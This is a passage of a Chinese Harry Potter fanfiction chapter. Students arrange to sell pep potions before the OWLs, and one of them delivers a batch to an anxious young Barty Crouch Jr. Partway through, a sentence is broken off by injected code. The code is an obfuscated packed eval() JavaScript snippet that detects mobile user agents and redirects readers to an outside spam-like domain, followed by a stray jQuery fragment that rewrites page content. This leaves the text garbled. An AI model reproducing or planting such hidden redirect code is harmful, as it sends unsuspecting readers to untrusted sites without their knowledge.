坐在齿轮里的改革者，比站在外面的批判者多一项武器——扳手卡进关键轴心的机会。


    ——1977年5月，埃米洛，留于黑湖边


    距离新的五年级OWLs考试还有100天的时候，伯莎找到埃米洛与他商量一笔生意，埃米洛思考了风险和收益之后，找到了西弗勒斯。


    提神剂？斯内普的冷哼在潮湿的魔药教室空气里回荡，带着他一贯的、对他人愚蠢的轻蔑。


    “乔金斯学姐帮我牵的线。”埃米洛将那张密密麻麻的名单在布满魔药渍的台面上推过去。“她很能干，拉文克劳内部需求很大……毕竟庞弗雷夫人不想提供这些。”他顿了一下，眼眸扫过西弗勒斯漆黑的眼睛，“乔金斯学姐说她只抽两成。如果你加入，我们俩四四。”


    坩埚底微弱的蓝色火焰发出轻微的噼啪声。


    “我五你三。”西弗勒斯抱着胳膊，下巴微抬，黑眼睛里闪烁着精明的算计和一丝不易察觉的试探。


    “可以。”埃米洛的回答快得像出鞘的匕首，斩钉截铁，没有丝毫犹豫。


    这反常的痛快让西弗勒斯猛地挑起眉毛，黑发下锐利的目光像探针一样刺向埃米洛。他明白了——埃米洛早就料到了这个结果，甚至可能期待这个结果。四四分成不过是个诱饵，引他主动咬上五三的钩。一种被看穿、被利用的不快和被对方急迫处境所裹挟的复杂情绪涌上心头。


    “你很急着用钱？”西弗勒斯的声音带着一丝不易察觉的紧绷，又冷哼一声，带着试图给自己找回场子的恼怒。


    “我什么时候不急着用钱了。”埃米洛看了他一眼，堵得西弗勒斯一时语塞。


    短暂的沉默后，西弗勒斯发出一声更响的哼声，像是要把那点不自在甩掉。他猛地转身，抄起一把银质小刀，动作近乎粗暴地开始切割手边的瞌睡豆。薄如蝉翼的豆片在刀下精准地分离，带着一种宣泄般的冷酷优雅。


    “……他们（拉文克劳）聪明的大脑现在是被浆糊糊住了么？”他讥讽道，刀刃撞击砧板的声音格外清脆，“如果他们多看看魔药课本，就会明白依赖提神剂不如依赖大脑。看看这个——你上司的儿子，八瓶，直到考试前他看来是不准备睡觉了……”


    “他要的确实是太多了……不过毕竟是继承了父亲名字的独生子，家族寄予厚望也很正常。”埃米洛的刀剑悬停在瞌睡豆上，他盯着那个和上司一摸一样的名字，眉头锁紧，想到了之前听到的事。


    那是一个阳光暖洋洋的午后。空气中飘散着羊皮纸、墨水和一丝若有若无的旧书卷气。伯莎怀里抱着几个鼓囊囊的纸袋走进来。


    “来来来，慰劳品到啦！”她声音轻快，带着点分享的喜悦，先给阿米莉亚桌上放了一盒包装精美的巧克力坩埚蛋糕，又扔给埃米洛一袋滋滋蜜蜂糖。目光扫过亚克斯利那张堆满卷宗的办公桌时，脚步顿了顿，脸上掠过一丝不易察觉的嫌弃。她几乎是随手——带着点漫不经心的敷衍——将一小包最普通的甘草魔杖丢在桌角，仿佛那是什么需要尽快脱手的垃圾。


    “啧啧，这阳光，简直催眠…”伯莎自己拆开一盒豪华装的草莓花生酱冰淇淋，舀了一大勺塞进嘴里，满足地眯起眼，含糊不清地开启了话题，“别看我们司长大人…外面人模人样，成功男人的典范，《预言家日报》的常客，啧啧。”她摇了摇头，语气里充满了过来人的洞悉和一丝不易察觉的鄙夷，“家里那摊子事，差劲得很呐！要我说，男人啊，表面光鲜，骨子里一个样，靠不住！”


    她下意识地和坐在对面的阿米莉亚交换了一个“你懂的”眼神。两位女士间隐秘的情感交汇让两个人都开心的笑了起来。就在这时，伯莎猛地想起办公室里唯一的男士——埃米洛正埋首在一堆文件里，羽毛笔沙沙作响。她脸上闪过一丝尴尬，连忙朝埃米洛的方向补救道：“哦！埃米洛，别误会！没有说你的意思，你不一样，你…呃…是个好人！”她努力想找个更贴切的词，却一时语塞。


    埃米洛的羽毛笔在羊皮纸上短暂地停顿了一下，平静无波的声音响起：“没事。我赞同你说的，男人都不是什么好东西。” 他的语调毫无起伏，让伯莎和阿米莉亚都愣了一下。


    伯莎松了口气，尴尬迅速被更强的分享欲取代。她凑近两人，压低了声音，带着一种分享惊天秘闻的兴奋：“嘿，你们知道吗？就老头（克劳奇在实习生之间的代称）……”她用勺子指了指司长办公室的方向，“他儿子，小巴蒂，比我低两届，明年也要考OWLs了。那孩子……真是优等生中的优等生，门门功课顶尖！可这学期黑魔法防御术不是难出天际了么？听说小帅哥没考到‘优秀’（O），就一个‘良好’（E）！你们猜怎么着？老头！当着好些人的面，直接一个四分五裂咒，把他那把崭新的光轮给炸成了碎片！光轮耶！我那天正好在帮老巫婆（乌姆里奇）跑腿，亲耳听到那‘砰’的一声巨响，还有碎片飞溅的声音……还说什么，下次再这样就别回家了。梅林，光听着都窒息了！我爸要这么跟我说话我绝对会哭……”


    她灌了一大口冰淇淋，冰凉感似乎压下了那份震惊，继续爆料：“还有更绝的呢！你们知道经常飞到司里，给老头送信的那只漂亮的雪鸮是谁的吗？是他老婆的！克劳奇夫人！”伯莎的眼睛因为兴奋而发亮，“那信的内容…哎呦，我可不是故意偷看的，整理文件时不小心瞟到的嘛！”


    “那语气……真的，差不多就是在恳求：‘亲爱的巴蒂，今晚回家吃饭吗？我做了你喜欢的…’ 诸如此类。结果呢？老头连拆都不拆！全让我直接扔进废纸篓！哎呀呀，”她看到阿米莉亚微微蹙起的眉头，连忙摆摆手，露出一个狡黠又有点心虚的笑容，“别指责我啊！好奇心嘛…嘿嘿，你们懂的，谁能忍得住？”


    阿米莉亚放下手里的羽毛笔，脸上带着一丝怜悯：“强势到近乎冷酷的父亲，懦弱隐忍的母亲……这种家庭组合。”她轻轻摇了摇头，若有所思地说，“怪不得…部里都传乌姆里奇女士对司长先生‘关怀备至’，存了那份心思。原来如此。”她的最后一句话带着一丝讽刺。


    “就是说啦！”伯莎深表赞同，又往嘴里送了一大勺冰淇淋。


    --------


    夕阳的余晖将霍格沃茨城堡长长的影子投在草坪上。埃米洛背着鼓鼓囊囊的书包，里面装着八瓶用软布仔细包裹好的高浓度提神药剂，步履匆匆地走向图书馆。推开沉重的橡木门，一股混合着旧书页、羊皮纸和年轻巫师焦虑汗味的气息扑面而来。图书馆里人满为患，几乎每个角落都塞满了即将参加OWLs考试的五年级学生，他们脸上写满了疲惫和紧张，像一群被考试压弯了腰的向日葵。去年此时，埃米洛也曾是他们中的一员，淹没在如小山般的复习资料里。


    他的目光快速地扫过一排排书架和长桌并锁定了目标。在远离窗户、光线相对昏暗的一个角落，一个金发男生正伏案疾书——头发梳理得一丝不苟，如同用尺子量过；领带打得紧实规整，透着一股近乎强迫症的严谨。即使坐在阴影里，也能看到他眼底浓重的、掩盖不了的黑眼圈。五官轮廓与魔法法律执行司那位威严的司长不太相似，想必是更多地遗传了那位母亲。


    羽毛笔的末端几乎被他无意识地啃成了毛刷，笔尖在羊皮纸上发出急促的沙沙声，仿佛在与无形的倒计时赛跑。还没有走进，一种强烈到几乎实质化的焦虑感便包围住了埃米洛。


    埃米洛坐在了他旁边，将沉甸甸的书包放在桌角，发出轻微的“咚”声。


    “八瓶，四百加隆。”他开门见山，声音压得很低，确保只有两个人能听见。


    对方仿佛完全沉浸在自己的题海世界中，对身边的一切充耳不闻。


    埃米洛伸出手，轻轻拍了拍他紧绷的肩膀。这个再寻常不过的动作，像触碰了某个无形的开关。小巴蒂猛地一抖，如同被烙铁烫到，整个人瞬间弹直，手中的羽毛笔“啪嗒”掉在桌上。他飞快地转过头，脸色在昏暗光线下瞬间变得惨白如纸，浅色的瞳孔因惊惧而急剧收缩，呼吸都停滞了一瞬。


    埃米洛下意识地眨了眨眼——这个反应他太熟悉了。一个典型的、在长期高压、甚至可能伴随突然责罚的家庭环境中形成的应激反应。身体比大脑更快地记住了恐惧。


    “……不好意思，备考太用心了。”他几乎是瞬间就意识到了自己的失态。那层惊惧像潮水般迅速退去，取而代之的是一种近乎完美的、训练有素的镇定。他飞快地捡起羽毛笔，脸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895875|175933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上迅速堆砌起一个堪称“社交典范”的微笑，礼貌、得体，像一层精致的石膏面具，隔绝了所有真实情绪。“谢谢学长。请…动作轻些。”他的声音也恢复了平稳，只是尾音带着一丝不易察觉的紧绷，眼神里残留着警告。


    埃米洛从书包夹层抽出一张泛黄的羊皮纸，声音压得更低，确保不被附近的平斯夫人察觉：“交易完成前，你需要签字。”他将羊皮纸推到小巴蒂面前，上面布满了细密的、闪着微弱银光的符文。“一个简单的保密咒。如果你向任何人——尤其是你父亲——透露这些药剂的来源或用途，”埃米洛盯着小巴蒂的眼睛，一字一句地说，“你的脸上将会长满痤疮，它们会像荣耀的胸章一样醒目，直到OWLs结束都无法消除。” 这个恶毒而颇具羞辱性的点子，是他和伯莎某次吐槽乌姆里奇时获得的“灵感”。


    “如果你不要这么多了，也需要签字……有什么问题么？”


    小巴蒂的目光落在羊皮纸上，没有去看那些符文，反而伸出苍白、指节分明的手指，轻轻抚摸着纸张边缘。他的眼神里闪过一丝奇异的光芒，不再是恐惧或社交伪装，而是一种近乎病态的专注和…狂热？他抬起头，看向埃米洛，声音带着一种突兀的探究：“这个咒语……OWLs考试中，能加分吗？”


    埃米洛眉头紧锁：“什么？”他怀疑自己听错了。


    “我说这个咒语，”小巴蒂的语速快了起来，手指无意识地敲打着桌面，“能加分吧？在OWLs的魔咒实践考试里？它的反咒原理……束缚力的强度……”他的眼神变得急切而灼人，“我一直苦恼……光是‘优秀’（O）不够，我需要的是‘出彩’，对，是出彩！考官会记住的那种！所有人都会记住的那种！” 他突然向前倾身，冰凉的手指猛地抓住了埃米洛的小臂：“你需要钱，对吧，学长？”小巴蒂的声音压得极低，带着一种诱哄又急切的腔调，瞬间切换到了谈判模式，“我可以出钱买这个咒语的详细解析和反咒原理。200加隆怎么样？不够可以再加！”


    “不好意思，”埃米洛抽回手臂，“这个咒语很危险，而且这不是我一个人制作的，所以暂时不卖。”他的目光无意间扫过小巴蒂摊开的魔咒学试卷，上面密密麻麻的字迹工整漂亮，埃米洛一眼扫过去的关键题目，答案都是对的。伯莎说得没错，小巴蒂·克劳奇是个优秀的好学生，哪怕不要这些加分咒语，他也能拿O的。


    而且……埃米洛太熟悉这种模式了。


    哪怕拿到O又如何？有的父亲他们想要的是你的优秀么？不是。父权是一种工具——一种用来不断证明父亲权威、不断提醒儿子“你永远不够好，你的价值由我定义”的工具。其他人，那个沉默的母亲，“别人家的孩子”，都不过是这场漫长而残酷的父权霸凌中，被随意使用的道具和背景板罢了。


    一股隐秘而复杂的情绪在埃米洛胸腔里翻涌。是同情？怜悯？还是对自己过往伤痕的刺痛？这感觉让他自己都感到不适。他几乎是下意识地放轻了声音，用一种近乎温和的语气说道：“听着，你现在最需要的，不是提神剂，也不是什么出彩的咒语，而是好好睡一觉。”


    话音未落，他自己先起了一身鸡皮疙瘩。这突如其来的软弱的关心让他极其别扭。


    我在干什么？！ 一个声音在埃米洛脑中炸响。立刻拿钱走人！离顶头上司的儿子远点！《魔法部员工如何获得权力》第一条是什么？别管别人家的闲事！


    他的手伸向了装着药剂的背包带子，准备立刻撤离。


    然而，在他转身的瞬间，目光再次扫过小巴蒂那双因缺乏睡眠而布满血丝、却又燃烧着病态执念的眼睛，扫过他桌上那份几乎无可挑剔却仍被自我苛责的试卷……那只伸向背包带的手，仿佛有了自己的意志，鬼使神差地抓过了小巴蒂桌上的一张空白羊皮纸碎片。


    ……


    “你可以试试这个。”埃米洛的在纸片上写下了一串复杂的咒语符文：“一个能帮助真正入睡的安神咒。温和，副作用很小。如果你能在实践考试里稳定施展它，考官会认可它的价值。” 他朝他露出了一个非常浅的笑容——一个善良温和的学长，或者说，年长者该有的。没看小巴蒂的眼神，步履平稳的离开了。